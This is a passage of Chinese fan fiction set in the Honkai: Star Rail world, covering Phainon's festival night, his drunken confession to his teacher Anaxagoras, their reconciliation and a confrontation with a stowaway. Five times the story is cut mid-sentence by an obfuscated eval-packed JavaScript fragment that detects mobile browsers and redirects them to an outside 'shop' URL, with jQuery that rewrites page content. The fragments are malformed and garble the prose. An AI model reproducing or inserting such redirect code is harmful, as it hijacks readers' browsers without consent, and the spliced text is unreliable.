他身上的花也更多了,似乎没留神,有人往他身后背着的侵晨的剑鞘里也塞了花——还好这些花里没有爆炸花,不然他的头上多半要多几根狼狈的花丝,他终于在一众崇拜的目光中艰难地找回了自我,勉强维持着自己不要太过得意忘形。 “你刚刚说……给星星……讲故事?” “是啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119676|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”最初的孩子兴高采烈地说,“妈妈说所有阿特拉斯人都是星星的孩子,我们来自星星,最后也会回到星星,但是星星很远很高,如果他们回去的话,就很难再回到我们身边了。所以我们约好了,我们会让帕拉叶传递我们的故事,然后,讲给那些回到星星上的同伴听——” “那……见不到那些……回到星星的……同伴的话,会难过吗?” “不会啊。”另一个孩子理所当然地摇了摇头。 “我们也会回到星星上的,为什么要难过?” “如果想起那些回到星星上的同伴,我们就会给他们写信,然后高高地扔上去,就像哥哥做的一样……嘿咻!”又一个孩子说,他比出了一个力大无比的手势,“然后他们就会接到这些信,看到他们回去之后发生的故事,而后,他们就会给我们回信……” “等等?”白厄越听越不对,他几乎要否定自己的猜想,“还有……回信?” 难不成是他想多了? “对啊,”另一个孩子理所当然地说,“如果不回信的话,新的帕拉叶是怎么长出来的呢?每一片叶子,都是一封回信,而我们读完信之后,又写上我们自己的故事……就这样循环下去!” “对了,哥哥,你有没有想要寄信的人?我这里还有一些空白的叶子,如果你也有的话,你可以写下来,然后高高地扔上天……” “我……”白厄一时语塞。 他当然有想要寄托的情感,也有想要寄信的人,可他应该说些什么呢?他又能说些什么呢?复杂的情感如鲠在喉,思来想去,他只能摇了摇头。 “我……确实有……想要寄信的人……但……” 但连他都不知道应该说些什么。 不过这些话就不用和天真的孩子们说了,白厄想。最后,在孩子们的欢笑吵闹中,他还是拿起一片空白的叶子扔向天空,看着它打着旋儿飞向高空,最后燃成一团相同的灰烬。他望着那团灰烬,又望着夜空,他突然思索,当他在这里凝望群星的时候,翁法罗斯上某个地方、什么人,是不是也在看着他?在某一瞬间,他们的目光又是否会在银河中相遇、交错? 当他在陌生的星体望向满天繁星时,翁法罗斯会不会也在凝望他? 16. 吨吨吨吨吨吨吨 不过没太多时间给白厄多愁善感,因为很快,巨大的烟花突然炸响,映得整片天幕亮如白昼,白厄仍然坐在那里,看着细碎的光点宛如洒落的繁星,又一声爆炸在他的耳畔炸响,庆典现场俨然成了欢乐的海洋,有人灵活地穿行在人群之中,递给每一个参加庆典的人一瓶饮品。 “爆炸果果汁。”他说,“庆典日馈赠。” 爆炸花他倒是知道,顾名思义爆炸果应该是这种花的果实,不过爆炸果居然能榨汁?白厄有点好奇,他看附近的人已经打开了瓶子,自己也好奇地尝了一口,意外地发现味道不错,酸酸甜甜的,让他想起奥赫玛的葡萄汁,人群的气氛已至高潮,甚至有人在角落里跳起了舞,场地中央的火焰熊熊燃烧,烧得劈啪作响,刚刚让他帮忙扔叶子的小孩子戳了戳他的腰。 “不许愿吗?哥哥?”他问,白厄看到他的其他几根触手一并打了个弯弯绕绕的结,“星星会实现你的愿望!” 许愿吗? 身边的孩子已经闭上了眼睛,嘟嘟囔囔地说着新年要吃更多的奶油蛋糕。而在异乡的夜空下,在热闹的人群中,白厄开始认真地思考,他想,我的愿望,是什么呢? 铁墓已经崩解,翁法罗斯已然升格,那里的人们都会作为真正的生命,昂首挺胸地生活在真实的世界之中,这样想的话,似乎他的愿望已经实现,似乎命运的确在苦难的尽头垂青了他,黑潮袭来之后,他已经许久未曾有过这种悠闲的、安静的时光,快乐对他是一种奢侈品,哪怕在现在,他也会忍不住为自己的快乐而负罪,他思考了半晌,面对烟花的巨浪,许下了自己的心愿。 希望我爱的人能在以后的日子里平安顺遂,他想。 平安顺遂,已是很大的心愿。 庆典结束后,在硝烟逸散的味道中,他和谢尔微慢慢悠悠地往舰船的方向走,空气中仿佛还残留着庆典的甜香,垃圾桶中歪歪扭扭地塞满了小小的果汁瓶子,谢尔微凑过来问他许没许愿,而他笑着摇摇头。 “愿望就像妖精一样,说出来就不灵了。” “诶?”谢尔微敏感地察觉到了不对,她闻了闻,又看了看白厄的神态,半晌,不太确定地问。 “你不会把那瓶赠送的爆炸果果汁都喝了吧?” “是啊?”白厄觉得有点奇怪,“怎么了?” “不,倒也没什么,”谢尔微再次摸了摸头,似乎有点头痛,“白厄阁下,再确认一下,你成年了是吧?” “是啊。”白厄再次说。 “那就没事,”谢尔微说,“虽然被他们称作果汁,但宇宙里的大多数地方都会管这种发酵产物叫做酒,而且按照宇宙通用标准来看,他们的酒度数可不低,而且好像还有点其他效果……你酒量怎么样?” “嘿嘿。”白厄说。 完了,谢尔微想,这是酒劲上来了。 好在天色已晚,今天没什么其他行程安排,也好在这种酒酒劲来得快去得也快,她和格莱聊天的时候曾经听到对方提过,上次格莱参加这里的庆祝活动的时候也在不知情的情况下喝了一瓶爆炸果果汁,此后八个系统时内他都感觉自己在做梦,迷迷糊糊地说了许多不该说的话,把自己掏了个干干净净,虽说他已经什么都记不住,但痕迹不会骗人,清醒之后他发现自己的各种酒后吐真言在舰船里飘,成了那段时间路上所有人津津乐道的谈资,此后他对那危险的果汁退避三舍,连带着告诫其他同事也不要碰。可惜白厄来的时间太短,还没得到舰长先生的忠告,谢尔微玩得太开心,也把这事儿跑到了九霄云外。想到这里她有点愧疚,爆炸果的果汁主打的就是个一视同仁,不管酒量好不好,每个人都能用它掏出自己的真心话。不过她又想了想,心说还好,她只要看着这个迷茫的醉鬼回到舰船,明天一觉醒来,应该就什么问题都没有了。 “现在的老师真负责任。”舰船内,格莱啧啧称奇。 那刻夏坐在他的对面,表情真挚,言辞恳切。 “事情正如你所想,”他说,“白厄确实是我的学生。” “懂了。”格莱说。 这位阿那刻萨戈拉斯先生是公司要求他负责暂时接待的人,虽然公司并未明说,但格莱之前也并非没接到过这种任务,对于他们来说,这些神秘的人物只是因为中转才会要求他们暂时接待,他们对这些人物的身份并不会起任何好奇心,只不过正常来讲应该是后天的行程,这位先生却在今天晚上到达了他的舰船,这神秘的访客倒没在意其他的礼节,见到他的第一面便问格莱有没有见过他的学生白厄,在学者的编撰下,一个假假真真的故事逐渐成型。在舰长格莱这里,白厄已经从“离家出走的愤世嫉俗少年”变成了“因为说话方面有缺陷所以感到自卑但仍然积极向上,在既没通知老师也没通知家长的情况下偷偷离家来到星际中谋求一条生路”的愤世嫉俗少年,这其中固然有大表演家的诱导暗示,可格莱自己的脑补也占了很大一部分,他想果然是自强不息,谁说说话障碍的人不能在另一个方面发掘自己的长处呢?按这位阿那刻萨戈拉斯先生的说法,他们的星球似乎在辩论和演讲方面独有所长,也难怪白厄阁下会自谋生路,这样想着,他对自强不息的孩子就又多了几分好感,连带着对这位负责的阿那刻萨戈拉斯老师也有几分赞赏之情。 “他今晚参加庆祝活动去了,”格莱说,“算算时间,应该也快回来了。” “承蒙照顾, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119677|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格莱先生。”那刻夏说。 “倒也没什么,不过您这次……是要带他回去?” 闻言,那刻夏笑了笑。 “我只是他的老师,何况他已经毕业很久了。”那刻夏说,“在确认他安全的前提下,我尊重他的个人意志。” 正说着话,谢尔微便扯着乱七八糟的白厄走了进来。 “他喝了一整瓶爆炸果果汁,”她愁眉苦脸,“我忘了告诉他了……等等,这位是?” 那刻夏的眉头微不可查地一跳,格莱看了看白厄,又看了看那刻夏,他的表情有点尴尬。 “没事。”瞥了一眼格莱的神情,那刻夏主动说,想了想,他又提出了点要求。 “请问能否给我们准备一间单独的房间?我有些话想和他说。” “当然当然,没问题。”格莱忙不迭地说,作为爆炸果汁受害人,他对那东西的后果记忆犹新,如他所说,每个人都有秘密,他自然也无意探听,他很快将那刻夏和白厄引到了会议室的方向。 “您这边请。” 那刻夏没见到白厄时总担心这孩子到底怎么样,现在见到了个乱七八糟的头上身上全是花的喝醉了的醉鬼,他的担心尚没完全散去,一点火气却也或多或少地冒了头。 “白厄。”他关上了门,确认了屋子里没有奇奇怪怪的窃听装置,而后像平时提问一样,喊了一声学生的名字。 醉鬼如梦方醒,他打了个激灵。 “那刻夏老师?” “叫我阿那克萨戈拉斯,”那刻夏下意识地纠正学生的称呼,“有什么想问的吗?” “吾师。”白厄只说,那刻夏耐心地等待着他的下一句话,只见他似乎想起了什么,退后一步,恭恭敬敬地递上了侵晨,态度之恭敬,姿态之谦卑,像极了第一次来到神悟树庭时茫然无知东看西看的少年,见他这样,那刻夏的心情倒是好了不少,他望着白厄,就算有外物的影响,也能看出他精神状态并不好,谁养的孩子谁心疼,那刻夏纵然平时毒舌,在此时也说不出一句狠话,他尽力摆出一副最温柔的师长姿态,又咳了咳,尽量把声音放轻,温和地轻声问道。 “这是什么意思?” “吾师。”白厄又说,“请用这柄剑刺穿我的胸膛,以此结束我的罪孽。” 那刻夏的表情凝固了。 他没敢动,只是望着白厄,无端地想,怎么这么瘦,他又想起白厄刚来神悟树庭的时候,少年人身体抽条,一天一个身高,似乎都不像现在这样,瘦得几乎能透过衣服看到骨头。 想到爆炸果果汁的副作用,那刻夏感到自己的头也开始疼了。 这孩子一天天的到底在想什么! 17. 委曲求全的那刻夏 阿那克萨戈拉斯老师从来没这么委曲求全过。 真的没有,委曲求全和阿那克萨戈拉斯不应该存在于同一本字典,他向来有话直说直言不讳,事实上能让他委曲求全的人还不存在与这个世界上——哦,这本字典当然不是悬锋人的字典,毕竟众所周知,按照悬锋王万敌对悬锋字典的复述来说,阿那克萨戈拉斯严重怀疑整本悬锋字典里只有HKS三个字母,他倒也没去查证,毕竟新修订的悬锋城字典早就得以刊售发行,发行前还做了少儿友好审查,整本字典里一句脏话都没有,当然也没有HKS——结果现在看着刚一见面就恭恭敬敬端着把侵晨让他捅的学生,他只觉得气不打一处来,看他这个样子,又没法和他生气,他咬了咬牙,那点温和快消散得无影无踪。 “放下。”他冷冷地说。 “吾师……” “我让你放下。” 白厄便乖乖地、委委屈屈地把侵晨放在了一边,委屈的神情活像那刻夏前两天在路上看到的小奇美拉,那刻夏看着这样的白厄,只觉得一个头两个大,爆炸果果汁的效果他略有耳闻,在宇宙的其他地方,这种果汁通常会被用于审讯,只有阿特拉斯人这种自带共感能力的种族才会把这东西当成小汽水喝。但好处只有一个,起码白厄现在没法和他撒谎,他拉着白厄坐了下来,想说的话很多,话到嘴边,却只剩下一句。 “吃饭了吗?” “吃了一点。”白厄说,他看上去乖顺、温和、没睡醒,状态不佳。 那刻夏想,他想说的第二句话是什么来着? 实际上学者从不打无准备的仗,大表演家从不吝啬自己的表演,作为白厄的老师,树庭七贤人之一,出口成章从来都是他的老本行,即使没有腹稿,他也能毫无停顿地完成长达两个系统时的即兴演讲,可惜这点本事在自己这倒霉的、垂头丧气的、可怜巴巴的奇美拉学生身上并不奏效,锋利的言辞堵在嘴边,思来想去,第二句话终于冒了头。 “怎么这么瘦?” 白厄便茫然地、无知地歪了歪头。 “嗯?” 好,那刻夏老师想,这就是不知道怎么回事的意思。 找到白厄之后,那刻夏其实放心了不少,更何况他现在虽然瘦点,倒也不像受了什么难以愈合的伤。他倒不介意自己的学生星海漫游,毕竟白厄的手段本领他或多或少也清楚,暂时不回翁法罗斯看起来对他的精神状态应该也有好处,实际上当他的状态还在外显为代号NeiKos496的“生物”的时候,他就满脑子自残自毁,结果真让他想办法做成功了……想到这那刻夏的眼神暗了下去,他并不想思考白厄为什么会在三年的失踪后好端端地出现在这里,学者宁可相信确实有奇迹眷顾了他最得意的学生。 “你和他们在一起很久了吗?” “没有。”白厄说,爆炸果果汁的效果已经显现,他如在梦中,他有问必答,“按照开拓历计算,大约一星期。” 一星期的话,也确实符合占星术的结果,他想,于是他继续发问。 “在此之前,你在哪里?” “嗯?” 同样的回答,也就是说,在此之前的经历,他也不知道。 ……或者说,在此之前,他有过经历吗?在翁法罗斯升格到现在的三年中,他去哪里了?中间那段时间,他是什么状态? 即使醉鬼有求必应,这问题问本人想必也问不出来什么,那刻夏终于觉察到了那丝奇异的违和,白厄见到他的第一面,尽管以为是做梦,尽管有爆炸果果汁这种东西加成,但他的反应和刚刚战胜铁墓时他所见到的残余数据的反应几乎一模一样,他想了想,看着白厄,终于捕捉到了关键。 “有关你战胜铁墓回到翁法罗斯,到翁法罗斯升格之间的记忆,你还记得多少?” “……” 醉鬼眼神清澈,一言不发。 很好,看来这段记忆是全忘了,那刻夏揉了揉额角,现在他的头是真的很痛,面前的学生一脸蠢……咳,一脸清澈,思来想去,他只得安慰自己人活着就好,从长计议的前提条件就是人还活着,白厄这种状态可遇不可求,按他的性格来说,清醒过来之后估计他这辈子都不会再碰这种果汁。不过他在还是NeiKos496的时候都敢用沉默逃避问题,善于抓住机会的那刻夏老师当然不会放过这个机会,他思来想去,问出那个他和NeiKos496第一次见面时问出的相同问题。 “你是谁?” “卡厄斯兰那。” “卡厄斯兰那是谁?” “卡厄斯兰那是罪人。” “不对,”那刻夏纠正,“卡厄斯兰那不是罪人,他只是个傻孩子。” 他看着端坐在那里的白厄,就算是他也没办法对着现在的白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119678|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厄毒舌,既然这样作为老师给他改改底层代码实属应有之义,毕竟虽说他醒过来会忘记此时此刻的谈话内容,但这些东西大概率会被刻在他的潜意识中,刻多刻少无所谓,那刻夏感觉自己拿起了某种人格的凿刀。 “他只是没有办法,他只是不知道该怎么做。”那刻夏温和地说,他望着学生天空色的、迷茫的眼睛,再次重复。 “他只是不知道该怎么做,所以不要苛责他。独自一人的时候,他也很茫然。” “他已经做到了自己能做到的全部,白厄,”那刻夏继续说,“他将自己烧成新世界的基石,他一遍一遍冲击着无望的命运,白厄,我无法要求其他人心无怨言,但我一直相信着你。面对命运,你做出了自己的反抗与选择。无论何时,你一直都是我最引以为傲的学生。” 醉鬼茫然地看着那刻夏,两人之间一时寂然无声,那刻夏没再说话,他仍然望着白厄的眼睛,事实上那刻夏老师的火气都被他暂时压进了肚子里,他想秋后算账总也得等到秋后,结果下一刻,他看到白厄的眼泪流了下来。 这可怎么办,神悟树庭的贤人哄大地兽的经验都比哄孩子丰富,白厄只是坐在那里无声地哭,也不说话,那刻夏被他哭的有点难受,事实上他连自己的性命都能置之度外,唯独受不了小孩在他面前哭,虽说白厄已经不是个孩子,可他看着白厄的时候,总觉得还在看那个失去了亲人,孤身一人来到奥赫玛的孩子,他心说炼金术占星术高等数学现代物理,没一个东西能告诉他如何哄孩子,思来想去,他抽了两张纸塞了过去。 “别哭了,”他硬邦邦地安慰,“哭什么。” 但这话没什么效果,有效果也是反效果,因为白厄哭得更凶了,他哭的时候也不做声,只是眼泪吧嗒吧嗒地掉。那刻夏认命了,他按了按额角,心说哭吧哭吧,哭出来是好事,他还是NeiKos496的时候,想哭都哭不出来,再往前推一推的话,他一哭出来,眼泪就会被火种的高温蒸发,对于白厄来说,想哭就哭,也是种奢侈的权利。 这么一想,他本就不硬的心肠就又软了三分,他思考了片刻,在记忆里艰难地掏出了姐姐哄他的身影,于是他走了过去,抱住了白厄。 “好了,”似乎不擅长这样温情的场合,他的动作有点僵硬,“一切都结束了,都会好起来的。” “一直以来辛苦你了,别哭。” 18. 干坏事被抓包实属墨菲定律 头疼。 这是白厄醒来之后的第一反应。 他尝试着回忆昨天发生的事,嗯,心理治疗,庆典日,烟花,爆炸果果汁……然后呢? 之后的一切,包括他是如何回到舰船上,又如何把自己打扫干净,他已经统统记不清了,只隐约记得自己做梦梦见了那刻夏老师,虽然记不清他究竟说了些什么,但这次梦里的那刻夏老师和以往不太一样,以往的时候,他总是会严肃地发问,或者冷笑着嘲讽自己的愚蠢。 “我怎么会有这么蠢笨的学生。”梦里的那刻夏老师常常毫不留情地发问,“三千万次轮回,仍然只会一次一次地杀死同伴吗?白厄,你为何如此愚蠢,如此傲慢?” 但是这次的梦不太一样,这让白厄心情好了点,他收拾了一下自己,推开了房间的门,而后看到那刻夏老师正端端正正地坐在舰船的车厢里。 他把门一关,心说,我一定还没睡醒,那刻夏老师怎么会在这里?他尝试着掐了掐自己,疼的,嗯,现在梦真是越来越高级了,甚至还有触觉了。 等等,这根本就不是做梦吧! 现在的当务之急是搞清楚那刻夏老师究竟什么时候来到这里,若是今早刚来,他大可以看看对方的神色来确认究竟需要故作乐观的久别重逢还是真诚恳切的负荆请罪,也有可能他看错了,对方只是长得非常像那刻夏老师,实际上并不是——白厄选择性地忽视了他的视力现在很好,绝无可能在这种距离上认错自己熟悉的老师。 他深吸了一口气,又推开了门。 很好,确认了,是货真价实的那刻夏老师,不是假货,也没被他推门的动作刷新掉,他盯着白厄,目光看不出喜怒,白厄想,完了。 阿格莱雅称呼那刻夏为大表演家自有她的道理,那刻夏老师平时脸上或多或少会有点表情,一般完全面无表情的时候,就证明他是真的生气了,上一次白厄见到他这个表情还是白厄交了张白卷上去——那时候他的表情也没这么平静。该面对的迟早要面对,于是白厄心一横走了过去,恭恭敬敬地冲着那刻夏行了个礼。 “阿那克……萨戈拉斯……老师。” 那刻夏老师哼了一声没说话,白厄不知道该作何反应,于是他偷偷瞄了一眼,发现那刻夏老师正在看的方向……好像是侵晨? 虽说剑士的剑通常情况下不会离身,但如果是敬爱的老师有好奇心的话,白厄倒不介意拿给老师仔细观摩,何况那刻夏老师现在明显很生气,他卸下侵晨,又恭恭敬敬地呈给老师,不过不知道为什么,那刻夏的表情……非常一言难尽。 “拿回去。”他冷冷地说。 “哦,好。”白厄一句话不敢多说,按他对那刻夏老师的了解来看,此人的怒气已经到达了临近值,果然,下一秒,那刻夏老师深吸一口气,向着会议室比出了个“请”的手势。 白厄夹紧了尾巴,小心翼翼地跟了进去,随手关上了会议室的门,那刻夏老师拿出什么东西放在了房间里,下一刻,他的怒火终于喷涌而出。 “哀丽秘榭的白厄,”那刻夏怒极反笑,“你的脑子是被大地兽啃光了吗?” 起手大地兽,必定有缘故。白厄战战兢兢地低着头坐在那里,一句话都不敢说。一般那刻夏老师叫他的时候,如果带上家乡名,和被喊了大名的效果差不多,尽管不知道老师的怒火到底来自哪件事,但白厄想想自己干过的那些破事儿,只觉得那刻夏老师只是生气并没动手,属实为师典范,师中楷模。 “回答问题。”那刻夏拍了拍桌子,“说话。” “还……还没有。”白厄小心翼翼地说。 “继续发问,”那刻夏说,“路边人给什么你就喝什么?” 哦,白厄想,好像是为爆炸果果汁兴师问罪的,但是为什么呢?那刻夏似乎看出了他的疑问,他冷笑了一声。 “怎么搜索都忘干净了?” 白厄于是小心翼翼地当着那刻夏的面掏出了“传讯石板”,或者说手机,他搜索“爆炸果果汁”,越看脸色越精彩,发酵饮品,度数很高,强行入梦,真话如流,通常被用作审讯工具,受到各星系严格管控……他的头越来越低,几乎不敢看老师的眼睛。 “知道那是什么东西了?”那刻夏又问。 “您什么时候……来的?”白厄试图转移话题。 “昨晚。”那刻夏又冷哼了一声。 算算时间,确实是日夜兼程。白厄坚信开拓者应该真的只是报了个平安,但那刻夏老师有自己的手段也很正常。他能找到这里想必费了些功夫,虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119679|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说他还不知道这里离翁法罗斯究竟有多远,但哪怕在同一颗行星上,几天赶到都不算慢,何况是星际航行,他偷偷抬眼看了一眼老师,小心翼翼地说。 “您……昨晚……没睡。” “睡不着。”那刻夏简短地说。 让他睡不着的罪魁祸首此刻更心虚了,在老师注意不到的角落里,他试图把自己缩成个小小的团,现在他也不知道该说些什么了,于是只好小声道歉。 “……对不起。” “你在为什么道歉?”那刻夏察觉他情绪不对,他敏锐地问。 “为昨晚的爆炸果果汁,还是为了别的什么?” “我……” 他仍然低着头,不敢看老师的眼睛,实际上他不敢回到翁法罗斯的主要原因就在于他不知道究竟该如何面对被他一次一次杀死的黄金裔们,尽管事出有因,可对面是受害人,而他是加害者,加害者从不该用虚伪的理由掩盖自己加害的事实,轻飘飘的道歉当然不该获得原谅,他正思考如何回答这个问题,那刻夏却仿佛看穿了他的心思。 “如果是为那瓶果汁的话,下次注意就好,不用向我道歉。” “除此之外,你没有任何理由对我道歉。” “过去的一切都不会完全地过去,所有的经历总会在我们身上留下痕迹,但如果你想问我的看法,答案只有一个。 “你不需要向我道歉。” 白厄终于抬起了头,看着那刻夏老师认真的表情,他意有所指,而白厄心知肚明。 “你也不需要因为我的出现感到压力,事实上我只是路过这里中转,顺便来看看你,一切已经尘埃落定,你可以选择自己的道路。”那刻夏说,“我记得你还在树庭的时候常常说想去外面转一转,现在,你有机会实现自己的愿望了。” “那翁法罗斯……?” “翁法罗斯就在那里,它是个星系,又不会跑。”那刻夏无所谓地说,“等到你想回去的时候再回去看看就好,大家都该有自己的生活。” “哀丽秘榭的白厄。” 白厄看向那刻夏,他看到那刻夏盯着他的眼睛,一字一顿。 “去看看这个世界,或者去追逐自己的梦想,怎样都好。” “你是自由的。” 19. 那刻夏说这是污蔑 自由……吗? 白厄愣了一下。 和梦里总是冷漠地责备自己的那刻夏老师不同,真实的那刻夏老师此时坐在他的对面,一字一顿地说你是自由的,这不由得让他怀疑自己是不是仍在梦中,只不过这次是个好梦,他偷偷掐了掐自己,是疼的,这似乎并不是梦,但那刻夏老师注意到了他的小动作,他一如既往地毒舌。 “干什么呢?一脸蠢样。” “我……”白厄小声说。 “我只是……怀疑自己……在做梦。” “你大可放心,”那刻夏说,“虽然不知道我在你梦里到底是什么扭曲的形象,但我的态度就是这样,我不会说第二遍,把你那些古怪的刻板印象改过来。” 说着说着,他又想起件事。 “我来的时候和这里的舰长讨论了一下你的言语能力……去看病了吗?” “去了。”白厄说,“我看了……心理医生……还开了药。” “哦,”那刻夏说,“知道治病,算是没蠢到无可救药。否则我真的要考虑要不要让风堇来把你扭送回去了。” 调侃归调侃,那刻夏倒也知道白厄的心理问题不可能一朝一夕间被谁简简单单的几句话纠正——白厄的性格他也知道,他总会在某些奇怪的地方有意想不到的执拗。他假如真的能在短短几句话之后一脸乐观地说我已经把过去全都忘光光啦未来一定光明灿烂,他反倒要担心这孩子会不会在某个他注意不到的角落放个大烟花出来,相反,现在这个状态反而能让那刻夏更放心一点。 疗愈固然是个漫长的过程,但白厄一直很坚强。 “那刻夏老师,翁法罗斯……怎么样?”白厄又问。 “其他都挺好的,除了前两年丢了个人。”那刻夏相当直白地说。不过他没说升格前夕这件事的发生几乎直接改变了翁法罗斯的对外方针,而且以目前情况来看这种方针的改变无比正确。但他看着似乎根本没把这件事和自己联系起来的白厄,只觉得一拳锤到棉花上,实在是有点胃痛。现在他仍然不知道白厄的那段记忆究竟去了哪里,想到这里,那刻夏老师对无法在这件事上秋后算账感到万分遗憾,接着他听到自己的学生小心又紧张地问。 “是谁?找到了吗?需要帮忙吗?” “嗯,找到了,”那刻夏说,“他正在我对面发问呢。” 白厄同样感到疑惑。 虽然一直下意识地逃避,可他不是傻子,三言两语间自然听得出来那刻夏老师话中的人究竟是谁,加上之前银枝说过的,“公司偷走了【翁法罗斯的烈阳】”,两件事稍微一串,他便想明白了其中关窍,但就是因为这样他才感到疑惑,对他来说,他只记得开拓者怒吼着将他和铁墓一起杀死,而后再次醒来,他便看到格莱他们被反物质军团围攻,而后被格莱捡到了他的舰船上,现在听那刻夏老师的意思,他在这段经历中间……似乎还回过翁法罗斯? 现在想起来,事情确实处处透着蹊跷,假如他在未曾醒来之前真的按照自己的猜想,一直在宇宙中以某种特殊形态游荡,那他现在是什么状态?翁法罗斯升格的时候还会全宇宙检索电信号吗?想想也不可能,一颗星球的生命全部升格所需能量巨大,不可能在升格的间隙做“全宇宙检索”这种蠢事,所以只有两种可能,一种是他现在仍然是一种特殊的电信号,只不过能脱离翁法罗斯存在,能被所有人触碰感知,还有一种,就是他的升格其实是和翁法罗斯一起进行的,但在升格之后,由于某种特殊的原因,他主动或被动地离开了翁法罗斯——后者的可能性目前似乎更大一点。 那刻夏似乎也看出了白厄的茫然,他笑了一声,拍了拍学生的肩膀。 “你可以把这件事当成课题在旅途中慢慢研究,毕竟翁法罗斯升格时,被升格的我们都是‘被遮蔽的’,所以当时究竟发生了什么,连我也不能完全说清……但我总会给出结论。” “这算……作业?” “算,也不算。”那刻夏说,“只是看你似乎很有好奇心。” “对了……您说,您是路过……这里中转?” “是,”那刻夏说,“一星期之后我会去勾陈星系参加一场学术会议,阿特拉斯是中转站,不过在此之前,我会在这暂时停留……我有自己的行程。” “我和您一起。” “不用。”那刻夏随意地摇了摇头,“对于我来说,基础的自保不成问题,不必太过担心我。” “可……” “没什么可是,”那刻夏说,“只要你下次别再把什么乱七八糟的东西都往嘴里放,我就放心了。” “……” 出师未捷身先死,一瓶爆炸果果汁把久别重逢的师生之间的信任降到冰点,那刻夏摸起桌上的水杯喝了口水,而后摆了摆手。 “你还是出去转转吧,”他说,“气得我头晕。” “您……吃饭了吗?”他听到学生小声问,这时候他才想起从昨晚到现在,他确实一口东西没吃,水也没喝多少,难怪刚刚头晕,大概率是有点低血糖,这话自然不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119680|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和白厄说,但白厄了解老师的秉性,他相当熟练地塞给那刻夏一个面包,而后偷偷摸摸地向着门口溜走,那刻夏看到他鬼鬼祟祟的身影只觉得想笑,之前也是这样,他做实验做到昏天黑地,晕倒在实验室也是常有的事,每次在昏光庭院醒来的时候,或者是他,或者是风堇,又或者是他的其他学生,总会塞给他点食物,而后转身就走——大概是怕被他留下来考校知识,毕竟这可是一对一问答,结果在陌生的星系,记忆残缺不全的学生居然还保留了这种本能,这让他一时间有点哭笑不得,心说我有那么恐怖吗?怎么直到现在还能把自己的学生吓成这个样子,但比刚见面的时候那副呆呆的、只会哭的样子倒是好多了,想到这,他啃了口面包。 门外,白厄的脸色沉了下去。 他没说话,只是和格莱发了条消息,便径直走向了仓库的方向,从刚刚开始他就觉得不对,一股陌生的气息偷偷摸摸地摸进了舰船的仓库,他不欲多说,只想着先抓到再说,毕竟这陌生的气息刚刚来到这里,他仍然不能确定这人到底什么情况,若是跟着那刻夏老师一同来到这里…… 侵晨出鞘,他缓步走了上去,打开了仓库的门。 “阁下,不请自来……并非友善之举。” “他宝贝的谁说老子要友善……” 仓库空间狭小,其间货物满舱,并不适合大规模的打斗和杀伤,白厄叹了口气信步而行,侵晨一把拨开了射来的子弹。 “货物,很贵。”他说,“打坏,很麻烦。” “所以……希望能和……阁下……好好谈谈。” “他宝了个贝的我和公司的走狗没什么……” “阁下,再次警告。”白厄说,“没得谈了?” 一边说着,他随手将对方发射的几颗子弹又拨到了一旁,他倒能看出对方并没有伤人的心思,几发子弹落点都不近,大概率只是对方只欲威慑,或者只是想达成什么目标,并不想大张旗鼓地致人于死地,若非迫不得已,白厄同样不想伤人——这对他来说可不是什么美好的回忆,他固然能对着反物质军团一刀一个,可面前的若是个活生生的人,不到万不得已,他同样不愿出手。 